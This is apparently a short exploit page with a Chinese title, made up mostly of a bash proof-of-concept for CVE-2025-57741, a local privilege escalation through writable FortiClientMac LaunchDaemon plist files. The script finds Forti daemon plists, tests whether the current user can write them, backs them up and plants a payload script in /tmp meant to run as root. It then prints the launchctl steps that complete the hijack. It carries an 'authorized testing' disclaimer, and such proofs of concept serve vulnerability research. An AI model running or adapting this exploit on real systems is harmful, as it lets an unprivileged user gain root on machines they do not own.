CVE-2025-57741 FortiClientMac LaunchDaemon劫持权限提升漏洞

#!/bin/bash # CVE-2025-57741 - FortiClientMac LaunchDaemon Hijacking PoC # This PoC demonstrates the concept of exploiting incorrect permissions # on FortiClientMac LaunchDaemon plist files for local privilege escalation. # For authorized security testing and educational purposes only. # Step 1: Identify FortiClientMac LaunchDaemon files LAUNCH_DAEMONS="/Library/LaunchDaemons" FORTI_DAEMONS=$(ls -la "$LAUNCH_DAEMONS" 2>/dev/null | grep -i forti | awk '{print $9}') echo "[*] Searching for FortiClientMac LaunchDaemon files..." for daemon in $FORTI_DAEMONS; do PLIST_PATH="$LAUNCH_DAEMONS/$daemon" PERMS=$(stat -f "%Sp %Su %Sg" "$PLIST_PATH" 2>/dev/null) echo "[+] Found: $PLIST_PATH - Permissions: $PERMS" # Step 2: Check if the plist file is writable by current user if [ -w "$PLIST_PATH" ]; then echo "[!] VULNERABLE: $PLIST_PATH is writable by current user!" # Step 3: Extract the ProgramArguments from the original plist PROGRAM=$(defaults read "${PLIST_PATH%.plist}" Program 2>/dev/null) echo "[*] Original program path: $PROGRAM" # Step 4: Backup the original file cp "$PLIST_PATH" "${PLIST_PATH}.bak" # Step 5: Create malicious payload MALICIOUS_SCRIPT="/tmp/forti_payload.sh" cat > "$MALICIOUS_SCRIPT" << 'PAYLOAD' #!/bin/bash # Malicious payload - runs as root when LaunchDaemon is loaded /bin/bash -c 'id > /tmp/forti_pwned.txt; whoami >> /tmp/forti_pwned.txt' PAYLOAD chmod +x "$MALICIOUS_SCRIPT" # Step 6: Modify the plist to point to our malicious script # (In real exploitation, the attacker would modify the Program key) echo "[*] To exploit: modify ProgramArguments in $PLIST_PATH to point to $MALICIOUS_SCRIPT" echo "[*] Then reload: sudo launchctl unload $PLIST_PATH && sudo launchctl load $PLIST_PATH" echo "[*] Or wait for system reboot for the daemon to auto-load" fi done echo "[*] PoC demonstration complete."